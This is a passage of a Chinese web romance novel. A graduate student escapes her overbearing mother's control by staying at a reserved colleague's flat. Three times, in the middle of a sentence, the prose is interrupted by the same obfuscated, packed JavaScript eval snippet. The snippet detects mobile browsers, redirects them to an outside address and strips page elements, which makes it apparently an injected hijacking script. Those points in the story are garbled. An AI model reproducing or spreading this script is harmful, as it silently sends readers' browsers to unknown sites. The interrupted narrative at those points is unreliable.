程菀叮嘱,“稍微剪短一点,扎起来不费劲的那种。但也不能太短,女孩子还是得留长发。” 李十安不耐地回了声,“哦。” “衣服也穿少了,”程菀继续说道,“最近早晚温差大,早晨起来披一件薄外套在身上,不然会冷。” 李十安吐掉牙膏泡沫,“我不冷。” “感冒了你就知道冷不冷了。”程菀带了点埋怨的语气。 李十安没回话,打开水龙头漱口,试图让水流的哗啦声响掩盖程菀的声音。什么都要管,说的话没一句好听的,根本不想听。 *** 晨跑后吃早餐。 李十安拿起筷子,还没动手,程菀就已经开始李十安碗里堆菜,“吃个煮鸡蛋,给你剥好了。” 李十安讨厌吃煮鸡蛋。一直没有动筷。 程菀催促,“乖乖,别挑食,煮鸡蛋是补充蛋白质的,对身体好。” 不吃也得吃。李十安咬了一口,差点没被噎着。 程菀递来一杯热牛奶,“快,喝点牛奶顺顺气。” 李十安喝了一口,冲着咽下鸡蛋,随后把牛奶杯放到一旁。 程菀看了一眼,“得把牛奶喝完。” 不喝也得喝。李十安憋着气,一口喝完一整杯牛奶。 程菀又给李十安拿来一根煮玉米,“这个能补充纤维。” 煮玉米不排斥,甚至有一点好感。李十安开始吃玉米。 程菀提醒,“快趁热吃,多吃一点。” 李十安顿了下。她这不是正在吃么,用得着说“快吃”这种话么。她故意放慢速度,但仍然保持咀嚼的姿势。 程菀给李十安倒了一杯豆浆,“把这个也喝了。” 李十安指着手边的空杯,“妈,我才喝完牛奶。” “那么一小杯,哪够?尝尝这个,味道不一样。” 又不是没喝过豆浆。这类白色的营养液就这么有吸引力么。可李十安又不能不喝。 刚咽完最后一口豆浆,程菀推来一盘荔枝,满满当当,“我买的最贵的妃子笑,一百二一斤。” 盘子里摆的得有三斤。这是要李十安把三斤全吃完么。天菩萨,她甚至还没有开始吃主食,餐桌另一头的包子蒸饺烧麦鸡蛋饼全部等着她。 李十安傻眼。这是人类能吃完的早餐么。 *** 午后一点,程菀督促李十安睡午觉,这是每日必备的流程。 早餐吃太饱,午餐吃更饱,肚子胀得实在不舒服。“我现在睡不着。”李十安说,“我不睡了。” 程菀叮嘱,“不睡午觉怎么行?下午会没精神的,一整天就废了。” 原来这一整天还没开始么?这一整天,明明已经过了一半了,李十安甚至感觉有一个世纪那样漫长。早上困得不行,却必须要起床。中午特别清醒,却必须要睡。什么变态作息,快把人折磨得精疲力尽了。 *** 晚上,程菀陪李十安在书房里修改论文,直至深夜。 李十安当然是想拒绝的,“妈,论文我自己改就行。” 程菀没有理睬李十安的提议,“快把电脑打开,抓紧时间。” 拒绝没有哪一次是有效的。书桌本来就不大。李十安坐绒面沙发凳,程菀坐木质独凳,挨得很近。 程菀询问,“进度到哪里了?” 李十安回答,“百分之七八十。”其实才刚过半。但如果把进度说太慢,又会迎来源源不断的教育。 程菀催促,“这样不行的,得把速度提起来。” 李十安试图挣扎,“可导师说,这版二稿下月中旬才交。” “导师说的下月中旬,你就应该主动提前到下月初,最好是这月末。妈妈之前不是教过你吗?” 干脆今晚改完交了算了。李十安想摆烂。怎么能提前得这么夸张。 速度要管,质量也要管。程菀提前让李十安把论文打印为纸质版。李十安用电子档修改,程菀为纸质版把关,双线并进。说是把关,实际是挑毛病。每次都为李十安挑出一堆毛病。 程菀问,“致谢部分怎么变少了?我记得初稿有八十多个,怎么二稿只剩五十个?” 李十安答,“导师说,正文没引用的就不用写。” “正文没引用,但结构内容参考了,就可以写。” “可是……”可是结构内容上,李十安真正参考的只有三篇,其他全属于凑数的。为了让论文看起来好看,彰显阅读量有多丰富。 李十安不喜欢这种虚假的华丽。所以她昨天特意请教了导师,得到导师肯定的答复,可以删。“导师让删的。”李十安搬出导师来,权威,看看信不信。 程菀放下论文,“那这样,马上给你导师打电话。” “现在?”现在是晚上十点,李十安没那个胆子,也更觉得不妥当。 程菀的态度不容置疑,“嗯,现在。” “这个又不着急……”李十安嘀咕,拿出手机,“我发消息吧。” 其实消息也不想发的。深夜给导师发消息已经是李十安的极限了,再超过这个极限那可真是生不如死了。 可事出预料,李十安没想到导师竟会很快回复,更没想到导师回复的内容和昨天说的完全不一样:[可以适当加一些。] 只感觉脑袋里爆炸了一颗原子弹。天老爷,你昨天不是这么说的。 程菀敲响桌面,“我就知道,导师不可能让你删的。真以为别人会去调查你到底看没看?只要你写了,就代表你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446112|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看了。写得多那是态度问题,不写那就是傻子吃闷亏。看吧,我早说过的。你就是不肯听我的,我都是为你好。” 一种站在至高点向下俯视的感觉。 李十安没有再回话,只不过是默默调出初稿,把文献复制粘贴到二稿上。 问题还在继续寻找。 “这里怎么用半角不用全角?” “点后面打一个空格。” “这个逗号改成句号。” 依照程菀的意思,李十安挨着全部改正,是个没有感情的机器人。反正程菀说的都是对的,是不容置疑的。何必再费口舌去争。反正最后都会被落下一顿教育。 熬到十一点半,到了程菀认为的该睡觉的时间点,论文的修改才终于告一段落。李十安松一口气。以为今晚就这样落下帷幕。 二稿打印出来了。程菀帮李十安装订好,装进文件袋。她提议,“十安,明天给导师送一箱荔枝吧,我给你买好。” 李十安有些慌乱,“为什么要送?” “你说呢?”程菀笑道,“正常的人情往来,还要我提醒你。” “妈……”李十安支支吾吾,甚至是在央求了,“现在都不给导师送礼的,和你们那个年代不一样。” 上一辈人所处的年代,做什么都要送礼。上学送礼给老师,看病送礼给医生,考驾照送礼给教练。好像不送礼,这些事就办不成,世界就不能正常运转。 可那个年代早就过去了。 现在这个年代,研究生是全国联考考上的,看病是小程序上挂号就能看的,驾照是在机器的监考下考试的。导师教书,医生看病,教练教学,都是他们的本职工作。公开透明客观公正,不用送礼也能成的。 为什么偏偏要送礼。 李十安讨厌送礼。 *** 第二天,开组会之前,李十安把荔枝拎到宿舍,和同寝室、隔壁寝室的姐妹们一起分了。 她们挺欣喜,“你都没在这里住,还带吃的来。” 李十安开玩笑,“怕你们把我忘了。” 等到开组会的时候,李十安提了一袋荔枝到教室,和导师以及组员一起分着吃,算作会议零食。“夏天正是吃荔枝的时候。”她笑。 荔枝袋子摊开在会议桌中间。李十安特意观察了,导师接过组长递过去的一颗荔枝,剥开,放进嘴里。 这算完成任务了吧。 把荔枝送给导师。不管是一箱还是一颗,反正是送到了。 *** 黄昏,落日,余晖。 李十安坐在公交站牌下的长凳上。发丝被染成金黄色。 260路公交车到站了。踏上这辆公交车,就得回家了,就得面对日复一日没有尽头的日子。被约束的人生。 李十安叹了口气。最终踏上了公交车。 *** 况允驰临时加班,回家晚了些,到车库时已经九点。他习惯性地低头走路。电梯门打开,他抬头时,竟看见有人正坐在门厅墙边的棕色座椅上。 李十安。 他还以为自己看花了眼。 李十安终于等到况允驰回家,急忙站了起来,冲他挥挥手,干笑两声。 “嗨。” 6. 柠檬 其实李十安是打算回家的,甚至已经坐上了回家的公交车。可到了小区外的那一站,李十安坐在座位上,却怎么也起不来。 身体太重了。全身没有力气。 于是她跟着公交车又继续往前走了。不知不觉到了终点站。 李十安走进公交调度中心,在琳琅满目的路线里,随意挑选了一辆,263路。 说是随意挑选,其实也不准确,毕竟李十安一眼看出,263路能到达南汀路,况允驰的家。 夕阳洒进车厢内,照出车窗玻璃的水纹,像流淌的橘色的海浪。也映照着李十安的脸。她的神色不知不觉明亮了一些。 觉得今天的落日还挺好看。 *** 给李十安穿的还是上次那双拖鞋,白色底,蓝色的兔子简笔画。 况允驰问,“吃饭没?” 李十安应道,“吃了。” 其实当然是没吃的。一整个傍晚都在公交车上晃荡。忘了吃饭这件事。 况允驰说,“我没吃。” 庆幸冰箱里有剩余的食材,做三菜一汤是足够的。况允驰架锅、洗菜。李十安想帮忙,却不知从何下手。好几次靠近一些,都被况允驰赶走,“去那边。” 也没明说去哪边,反正走远一点就是了。 李十安把带来的那一箱荔枝放到岛台上,觉得不妥当,想放到冰箱,又不敢擅自打开。她询问,“我把荔枝放冰箱可以吗?” 况允驰回头望一眼,“嗯。” 李十安补充一句,“送给你的。” 这已经是今天送出去的第二箱荔枝了。她暗笑,简直可以改名“AAA荔枝批发商”。 放荔枝倒还好,李十安起码手上有事情做。把荔枝连同枝叶一起放进储物格里,尽量做到方方正正码齐。放完荔枝后,又没事情可做了。手上空着,不习惯,也尴尬。 李十安想上厕所。可以直接去的,但毕竟是在别人家里,随意走动好像不太合适。她向况允驰报告,“我去趟卫生间。”下意识地认为,是去过道旁的次卫。 况允驰叫住李十安,“你去主卫,那里留给你用。” 李十安没听懂。主卫,是指主卧室的卫生间么?那里不应该是主人用的么? 况允驰指了下方向,“你上次睡那间。” 还真是。 况允驰继续做饭,没有要再和李十安推拉商量的意思。李十安也不好再说什么,走了过去。 距离上次来况允驰家,不到一个礼拜。李十安以为主卧还是记忆中的样子,没想到已经变了样。不是大变,而是填充了好些细节。 床单变了。不再是浅灰色,变成了奶茶色,在光线下偶尔透出隐约的玫瑰金色光泽。 牙刷也变了。之前那把燕麦色的牙刷还在,一旁又多了一把雾粉色电动牙刷。 台面上还多了一套护肤品,lamer,白绿混合的一大片。 李十安弯腰,凑近了看。只敢看,不敢伸手摸。毕竟是别人的东西,擅自动不太好。她忽然意识到,这么看来,在况允驰家过夜,会不会也不太好。大事,该问清楚才行。 她慢悠悠走回餐厅,犹豫徘徊,打了三版腹稿,最后选择了最简单直接的问法,“你家是不是有女生住?” “嗯?” “喔……我看到主卧里有女生用的东西。” 原来是问这个。 李十安支支吾吾,“如果我在,你不方便的话……不好意思我不知道该怎么表达,就……如果不方便还请直说。” 况允驰把菜端到餐桌上,“公司发的礼品。” 李十安帮忙摆盘,“你们公司发礼品,不分男女?” “嗯。” 实际怎么可能不分男女,没有哪个公司会这么没眼力见。那些东西全是况允驰买的。 为什么要买? 那天为了抄近路,况允驰从凡希商场A口进,C口出。路过专柜,看见这套护肤品时,忽然产生了一个想买下来的念头。 所以买了。 电动牙刷也是,床单被罩也是。其他东西也是。单纯因为那一瞬间的念头。 没想过这些东西买来没人用怎么办。一种类似于得过且过的感觉。 先留着吧,反正也没什么影响。 “那些东西我用不着,算你帮忙,别浪费。”况允驰摆好碗筷,“吃饭。” 况允驰先坐下来,李十安跟着坐在况允驰对面。和上次一样的位置。氛围也和上次一样。他没有说话,她也没说话。两个人,安静地咀嚼着。 这种氛围,李十安上次是会觉得尴尬局促的,但这次却莫名觉得安心。 比起家里的那种场景,被迫吃不喜欢的食物,被迫听一整场的教导,像如今这般安静地单纯地吃饭,反倒叫人惬意安心。 这么想着,李十安悄悄笑了一下。 况允驰抬眸,看见了李十安细微的表情。 她是笑了一下么? 好像是。 看来心情不错。 况允驰先吃完饭,李十安随后没多久也吃完。收拾碗筷的时候,两个人一起行动。 李十安酝酿一阵,鼓起勇气向况允驰坦白,“我不想回家……因为我妈管我很严。” 来了他家那么久,她还没告诉况允驰她的目的,以及她不想回家的原因。 “管得太严了,喘不过气。” 吃饭要管,作息要管,论文要管。 交友要管,出行要管,未来规划要管。 整个人生都在管控当中。 “我偶尔会找机会逃跑。” 所谓的逃跑,是指找借口不回家,在外面住一晚。 可以住许书妍家。但许书妍的男朋友时常会去家里。李十安不能总是当电灯泡,阻碍别人的生活。 可以住宿舍。但程菀打一开始就没有要让李十安住宿舍的打算,所以宿舍里除了一床床垫外,只剩一个被单,甚至没有枕头。 可以住酒店。但李十安的消费记录,定期会被程菀检查。若是被程菀看见酒店消费,无异于引爆炸弹。 好像路都被堵住了。 好像没有可以去的地方。 “你这里,好像是我唯一能去的地方。”李十安厚着脸皮,问道,“可不可以再收留我一晚?” 沉默了一秒。况允驰没有回答。 李十安急忙补充,“一个小客房就行。” 况允驰低声道,“只有沙发。” “沙发……”李十安语气柔软,“我知道你家沙发很高级,但是……要不要再考虑一下?” …… 还挺挑。 况允驰用保鲜膜包好菜盘,放进冰箱,“以后主卧,都留给你。” 李十安疑惑,“以后?”以后的意思,是不止这晚? 况允驰关上冰箱,“跟我来。” 他走出厨房,李十安在身后跟随。竟一路直接走到了门外。李十安心惊,是刚才说错了哪句话么,要被他赶出家门了? 况允驰在门锁上调试,调出录入指纹的步骤,“摁一下。” “诶?” “下次来直接进屋,别在门厅傻等。” 看着怪可怜。 “喔……” 李十安迷迷糊糊。前一秒还在震惊快要被况允驰赶出家门,后一秒又震惊况允驰竟然给她录入指纹。进程太跳跃,脑袋不够思考。 指纹录入很顺利。摁下,开锁,灵敏准确。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446113|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过于灵敏了。 李十安提议,“要不加个微信吧,下次来之前,我提前跟你说一声。”不然鸠占鹊巢,也太厚脸皮了。 况允驰应道,“嗯。” 她扫了他的名片,主动介绍,“我叫李十安。” 怕他没听清,她还准备仔细说明,哪个李,哪个十,哪个安。结果他很快回了一句,“我知道。” 他备注了她的名字,说道,“我叫——” 有意停顿了一下。 李十安立即应道,“况允驰,我也知道。” 她也备注了他的名字。 趁着打开对话框的间隙,李十安点开转账图页,“要不算是我租你房子吧。不用主卧,我住一个小次卧就行。” 况允驰面无表情。他面无表情的时候,看着有些冰冷。他没有要商量的意思。让她住主卧,是通知,不是商量。 他好像要走。 李十安急忙又说,“租房的话,那你看看定什么价位合适,你的预期价位。” 况允驰停下脚步,想了想,“这样,你每次来都买点吃的,抵房租。” 李十安问道,“买什么类型的吃的?你喜欢吃什么?” 况允驰已经走远,最后只留下一句。 “买你喜欢的就行。” *** 李十安躺在床上,左思右想,决定给况允驰发一条消息。 [房东晚安。] 她以为不会有回复的。他连话都不多说一句,对于发消息这种事情,可能应该更不在意吧。李十安打算直接关掉对话框,却在关掉之前,看到了最顶上的“正在输入”几个字。 要回? 李十安竟然有一些期待,耐心地等待着。 可没过多久,那几个字消失了,变回了况允驰的名字。 不回了吧。 看来还是没猜错。李十安放下手机,乖巧躺下,准备睡觉。隔了一阵,快要睡着的时候,况允驰的消息终于传来。 [晚安。] 李十安笑了起来。哪有人给人发晚安,要发那么久的。手机信号也太慢了。 *** 那晚睡得很好,李十安陷入柔软云团那般,舒心惬意。醒来时,阳光洒向落地窗,白色纱窗像在发光那般。 李十安拉开了窗帘。 太阳悬在远空,映照大地。枝叶拨动光芒,弹出一道道清澈的光束。远方的玻璃幕墙上,洒满耀眼的光。 柔和轻盈的七月清晨。 七月是柠檬的颜色。 *** 况允驰照常开车上班。 在一个十字路口,因为要右转,况允驰走的最右侧车道。 路上车辆繁多。一列婚车车队缓慢行驶,排在中间车道上。然而领头的车辆走错了路。这里该右转的。它在实线与虚线的交界处,找准缝隙变道。它是通过了,可之后的车辆却没机会再通过。 中间车道前方挤满等红灯的车,走不了。右侧车道挤满源源不断右转的车,变不了道。婚车车队似乎要被截断了。 况允驰于是停了车,在右侧车道上拉开一个缺口。婚车车队通过这个缺口,有序右转通行,重新连为蜿蜒的一列。等到所有婚车行驶通过,况允驰才重新起步。 以为是件小事,他没放在心上。 在下一个路口,等待红灯时,恰巧与婚车并行。新郎新娘示意况允驰开窗。隔着一米的距离,新郎递给况允驰一盒喜糖。 “祝你今天愉快。” 一个精致的柠檬黄色盒子,印有可爱的喜字。况允驰拿着盒子,看了很久,眉眼舒展。 一件让人愉悦的小事。发生在七月。 七月果然幸运。 7. 曲奇 下一次再去况允驰家之前,李十安提前给况允驰发消息:[我今天想去你家,可以吗?] 况允驰:[嗯。] 李十安:[几点合适?] 况允驰:[都行。] 说是都行,但李十安也不好随时去,总得挑个合适的时间才行。既然做客人,就应该要有做客人的自觉。她为了找到合适的时间,特意咨询许书妍,“你们公司六点下班?” 许书妍答复,“理论上是。咋了?” 李十安又问,“所有部门都一样?”她知道他们在不同的部门。况允驰在研发部,许书妍在检验部。 许书妍说,“理论上是。咋了?你怎么忽然问起这个?” 李十安笑笑,“了解一下我未来的东家。” 这倒不算是谎话。景和生物是青山市三家顶级生物公司之一,在三家当中又属于势头最盛。李十安硕士毕业后,当然三家公司都会投简历,但最中意的还是景和生物。 还有可能和况允驰做同事。 李十安挑了下班的点,在况允驰家小区外面徘徊。他不可能刚下班就到家,路上估算会耽搁半个小时。而且他今天加班吗?不知道,这个没办法打听。于是一直熬到七点半,才终于走进电梯。 刚出电梯,恰巧碰到况允驰正在开门。 “嗨,好巧。”李十安笑着。 况允驰看见李十安的装束,多少有些惊讶。她拎的东西也太多了。一箱坚果,一箱车厘子,一箱茶叶,一箱咖啡,一箱曲奇,一箱巧克力。两只手被礼盒的绳索塞得满满当当。 况允驰问,“你来拜年?” 李十安开玩笑,“祝你新年快乐。” 礼品盒太多,堆满岛台。庆幸餐边柜一直是几乎空闲的状态,况允驰本身没多少东西。他和李十安一道忙碌,把东西收拾整齐。 从没想过餐边柜还有被塞满的一天。 况允驰看着满满当当的柜子,微蹙眉。不知是他的表述有误,还是她的理解有偏差。为了把情况表述得更清楚,他第一次叫出了她的名字,“李十安。” 李十安回应,“嗯?” “下次来,只带一天之内能吃完的量。” “喔……” 李十安心里嘀咕,什么意思?带的东西太多么?还是这次带来的东西,他不喜欢?这么多品种,没一样喜欢的么。 或许有可能。 *** 于是下一次再去况允驰家之前,李十安特意发消息,向况允驰逐一确认。她拍了照片,传给况允驰:[要树莓还是蓝莓?] 况允驰原本想回复“都行”,顿了顿,做出了选择:[树莓。] 李十安逛一会儿,又发来一张照片,询问:[芒果还是凤梨?] 况允驰回复得很明确:[都不要,今天只吃树莓。] 李十安:[好咧。] 买好树莓,她还是照着上一次的时间点去,七点半左右走出电梯,运气好的话,应该能碰见况允驰。 结果运气不怎么样,门厅里空无一人。 或许他已经到家了吧。李十安面对门锁,犹豫不知道该不该打开。开门的动作很简单,摁下指纹,旋转门把。可开门的决定,很难。 要不直接问问他吧。李十安给况允驰发消息:[你到家了吗?] 况允驰回复:[还没。你到了?] [我也还没,还在车上呢。公交车,慢得很。] 消息已经发送出去,李十安看着这么一长串解释文字,后知后觉。 似乎太刻意了呐。 她坐在门厅沙发椅上等待况允驰。等了大概十分钟,电梯处传来响动。李十安迅速起身,大拇指悬在门锁附近,装作一副正准备摁下去的模样。 况允驰走了出来。 李十安回头,“好巧,我也刚到,正要进屋。” 况允驰看了眼手表时间。距离他们发消息报位置,只过了十分钟而已。她刚才明明还说公交慢得很,怎么转眼就到了门外。 总觉得哪里怪怪的。时间不对劲。 *** 第三次,李十安来家里之前,况允驰有意提前给李十安打了声招呼。 [我今晚加班,晚一些到。] [我回来炒菜,你先进屋蒸饭。] 李十安爽快答复:[好咧。] 虽然在家几乎不下厨,但用电饭煲蒸饭这个技能,李十安还是会的。虽然厨艺约等于没有,但备菜切菜这点小事还是能够完成。 李十安钻进了厨房。她到得早,到的时候五点。在厨房忙碌完,才六点。等把一切准备妥当后,手上没了事做。她忽然发现,她这是第一次比况允驰先进家门。 有一种不一样的感觉。 她去卧室放两件换洗衣服。路过况允驰的房间,她停了下来。 门是半开着的。被子叠得很整齐,光滑铺满床面,床头处对折翻转过来。酒店一样规整。 是个讲究人。 李十安的被子也是折好叠好的,但那是因为她作为客人,得有基本的素质。在家里她的被子也是叠好的,但那是因为程菀有硬性要求,她不得不照做。 一直期望着能够有一天,可以不叠被子,睡醒了是什么样子,就让它继续保持什么样子,反正也要睡觉的,叠去叠来多麻烦。这是一个看起来普通平常,对她而言却又遥不可及的梦想。 床头左侧有一颗金属吊灯,吊灯后面的墙上贴了一张便利贴。黄色的便利贴,上面用黑色水笔写了四个字。 [多谢款待] 是李十安第一次来况允驰家时,临走之前写下的便利贴。她以为他看过就会丢的。早知道他不丢,她该把字写得更工整更好看一点。尤其是那个“谢”字,写歪了,还可以写得更好看的。 正观察着,况允驰回家了,打开门。李十安立刻折返回到客厅,和况允驰碰头。 “菜我已经备好了。”李十安向况允驰展示,“冰箱里可以用的食材我都大概整理了一下,你看看还有什么需要的。” 岛台上确实摆了不少大大小小的餐盘,装着切好的葱姜蒜,切好的青椒和胡萝卜。肉也切成了肉片,尽管薄厚不一样,好歹摆得有模有样。 行吧。况允驰走进了厨房。 *** 和往常一样吃了一顿安静的晚餐。 到了睡觉的时间点,各自回房间。 半夜,李十安习惯性醒来,想去客厅喝水。 月色皎洁,霓虹闪烁,缤纷光芒被落地窗过滤成柔和光点,弥漫进室内黑夜中。 李十安摸黑往客厅走。在这个家里住了那么多次,对房屋的构造已经大致了解,尤其是卧室到客厅的这段路,驾轻就熟。 理论上应该不会出差错的。 李十安没看见餐餐边 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14446114|154051||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柜旁有个人影,只顾走路,于是闷头撞上了他的胸膛,“诶——”她吓一跳,惊魂未定,呼吸沉重,向后踉跄几步。 况允驰伸手扶住李十安,“是我。” 李十安终于得以站稳。况允驰松开手。 况允驰问,“你梦游?” 李十安反问,“你不开灯?” 况允驰用手心遮住李十安的眼睛。没有直接接触,隔了一小段距离。他打开了灯带。柔软的黄色的光。光线透过指缝传来,她的眼睛慢慢适应。他收回手。 顺便为她接一杯水。况允驰挑选杯子。他发现李十安似乎有收集杯子的爱好,这一趟来,竟然带了三个杯子,一个是手绘早餐杯,带盖带勺子,一个是蓝白条纹马克杯,一个是品牌联名白底红色可乐字母咖啡杯模样的保温杯,整整齐齐摆放在玻璃隔间里。况允驰就近选中早餐杯,接满一杯水后,递给李十安。 接过杯子,李十安仰头喝完一整杯水。平日里不觉得纯水好喝,夜晚的这一刻,倒觉得纯水清甜可口。不知是口渴的原因,还是水质的原因,亦或是其他的原因。总之在他家喝的纯水,总是要比别处好喝一些。 李十安喝得快,一口闷。况允驰喝得慢,才喝一半。 喝完了要回去继续睡觉。在李十安走远之前,况允驰唤了一声,“喂。” 李十安回头,“嗯?” 况允驰沉默了片刻,改口,“还有柠檬水,要吗?”泡在水纹玻璃壶里的柠檬水,放在直饮机一旁。 李十安摆手,“不啦,睡啦。” *** 第二天早晨,吃过早饭后,况允驰询问李十安的安排,“回家还是回学校?” 李十安蹲下系鞋带,“回学校,得去实验室一趟。” “行,我送你。” 李十安抬起头来,看向况允驰,略有些惊讶。算路线的话,不管是从这里回她家亦或回学校,还是从这里到况允驰工作的景和生物,都不顺路的。 “不用麻烦,我……” “我顺路。”况允驰单手搭在门把上,“去你们学校附近办点事。” 没有要再推拉的意思,况允驰直接出了门。是他惯有的结束聊天的冷漠。李十安立即系紧鞋带蝴蝶结,跟了上去。 *** 他们对路线的理解不一样。 况允驰对青大并不陌生,知道走小东门离生命学院近。开车是往小东门走。李十安看见路线不对,急忙纠正,“走北门,我在北门下。” 况允驰问,“怕被看见?” 李十安不好意思地点头。 平日里,程菀接送李十安的车是一辆白色320,今天接送她的,忽然变成黑武士C63,被人看见,真不知道该怎么解释。她和况允驰的关系本来就不好解释。房客与房东?又并不是传统意义上的房客与房东。比起这层关系,况允驰倒更像是李十安做坏事的同谋。 坏事同谋者,属于地下关系,不能轻易见光。所以说,不要被碰见才是最好的。 李十安小心翼翼,在离北门还有一个斑马线的地方,确认四周没有认识的人后,和况允驰告别,敏捷地下了车,往学校方向走。 正要走进校门,身后一辆车靠近,停在李十安身边,车窗打开。 “十安!” 李十安回头,竟看见了程菀。 程菀质问,“刚刚送你的人是谁?” 8. 丹桂 李十安已经有一个多月没去况允驰家了。 仿佛失去联系。 夏天已逐渐柔和为秋天。走在街上能闻见丹桂香气。背着书包的十七岁蓝白身影在街边奔跑。封装的长安花纹奶茶被一杯杯装进纸袋。偶尔有飘摇的树叶落在路过的轿车车顶上。 世界繁忙依旧。 *** 况允驰跟随团队,一道去附属医院考察学习。 被负责人带着参观,听详细讲解。遇到合适的契机,双方开始聊实验室的合作,聊制药厂房的建设构想与设备标准,聊智能化虚拟仿真平台,聊一切感兴趣的事情。边聊边往楼下走。 电梯正从下往上而来,最终停留在他们所在的八楼。门开启,电梯内的三五身影出现在眼前。 况允驰看见了李十安。 李十安同样是跟着导师来附属医院参观学习的。她跟在导师身后。昨晚失眠,没休息好,一直处于神游状态。 直到看见况允驰,倒是瞬间清醒了。 景和生物的纪总和李十安的导师是老相识,一见面就聊得上头。 “你亲自来考察?” “知道你要来,我故意来的。” 寒暄几句,氛围热烈,又彼此介绍同行的人,从身旁的人开始介绍。 “这是我们今年直招的博士,况允驰。” “这是我徒弟,李十安。” 两个人就站在面对面的位置上。因为身高差的关系,他要稍低头,她要稍昂头。 她不敢和他对视,清了清嗓,“你好。” 况允驰点头回应。 又继续介绍其他同行的人,小叶、铭铭、陶子、洋洋。介绍完后两人接着打趣聊天。 “你的徒弟今天就跟我走得了,反正毕业了也是到我们这里。” “那不一定,得看你魅力够不够。” “我魅力还不够?” “难说。” “诶,对了,上次说的合作离子层析的事怎么样了?” “别着急,流程走完就给你打电话。” “你们这流程可真够复杂的。” “是呐。” 他们聊得热火朝天,加上身旁其他时不时附和的人,交谈时间被意外拉长了些。 倒显得一直没说话的况允驰和李十安过于安静了。 况允驰给李十安发消息:[你看起来太紧张了。] 李十安察觉到反应似乎真有些不对。她担心她和况允驰的房东房客关系暴露,被捅到程菀那里。可越担心就越难做出正常反应。她急忙试图放松,面色专注,在他们聊到兴致高昂的时候,扬起嘴角微笑附和。 她知道他在看他,不禁红了耳廓。有种在朋友面前装模作样的窘迫。 况允驰又给李十安发消息:[耳朵红了。] 李十安回复:[闭嘴!] 况允驰笑了下。极其轻微,没有人察觉。 他再编辑消息:[找机会碰头。] 李十安看了眼信息,没敢回复。变得更紧张了,心跳快得不像样。 *** 行政楼的连廊转角,有一个白色的自动贩卖机,宽大,占据了半面墙。五颜六色的饮料陈列摆设在格子里,被灯光笼罩上了一层统一的冷白。 李十安站在自动贩卖机旁,等着况允驰。 况允驰和纪总正在交谈,逐渐朝这边走来。 不久前才互相介绍过的,打声招呼也不足为奇。可李十安心虚,怕越说话,越露馅,处理不好反而会让情况变糟糕,索性直接切断了可能有的接触。她仰头面对自动贩卖机,假装挑选商品,挑得认真。 听见他们的谈话声越来越清晰了。 李十安摸一下后脑勺,慌忙之中侧身翻阅放在一旁小书桌上的青山日报,正着数一遍,倒着数一遍,一共六份报纸,来回数了六遍。 听见他们的脚步声越来越近了,踏上台阶,即将走到身后。 李十安扯开一张报纸,铺在空中阅读。那么轻的报纸却仍然拿不稳。她于是把报纸放回书桌上,埋头阅读。 听见他们走过身后,搅起一阵轻风,吹进脊背。 李十安不自在。她重新仰着头,面对自动贩卖机,假装挑选商品。时不时侧身偷看一眼。 他们已经走出连廊,走下台阶。站在原地交谈,不知道在谈什么。随后,纪总继续往前走了。况允驰目送纪总离开,随即转身。 李十安立即收回视线,盯着自动贩卖机的一层层格子。时不时用眼睛余光瞥一眼。况允驰快要走近。李十安迅速收回视线。 他走到了她的身边。并排站着,两个身影被自动贩卖机的冷白光线环绕包裹。 况允驰轻咳一声,“喂。” 李十安眼眸转动,确认四周无人区,才回应一句,“嗯。” 终于抵达安全地带。一个只剩他们两人的空间。 况允驰低声问道,“最近怎么没来?” “最近管得严。”李十安解释,“上次你送我回学校,被我妈看见了。” 当时明明已经采取了严格的保密措施,怎么偏偏还是被看见了,并且还是最厉害的对象。 况允驰问,“情况严重?” 李十安回忆,“当时挺严重的。” 当时被程菀抓到,有一种当场石化的幻觉,李十安愣在原地不敢动弹。 程菀质问,“刚刚送你的是谁?” 李十安胡诌,“许书妍男朋友。” 程菀更加疑惑,“新的?” “诶?”李十安忽然想起来了,程菀不仅见过许书妍的男朋友,还见过许书妍男朋友的车,是一辆蓝色车。 车不对。 怎么不同的车会引来这么多麻烦的问题。真希望秦始皇统一所有人的车。 李十安临场搪塞,“嗯,才换的。” “又换了?”程菀感慨,“许书妍这小姑娘,长得是好看,男朋友也一个接一个地换。” 李十安随口解释,“不合适就换呗,正常。” “你管这叫正常?小姑娘,谈一两个正常,谈三四个那像什么话。” 又到了受教育的时刻。往常的这种时刻,李十安会识趣地闭嘴。但那天李十安莫名吃了豹子胆,冷不防冒出一句。 “我也谈。” 空气凝固了一秒。 程菀就这么看着李十安。没有说话。 李十安后背发怵。于是紧急补充,“……一个。”她比划手指,弱弱地笑道,“我都二十五了,能谈一个吧?” 程菀终于开口,“现在专心学业。等你明年顺利毕业,我给你相一个。” 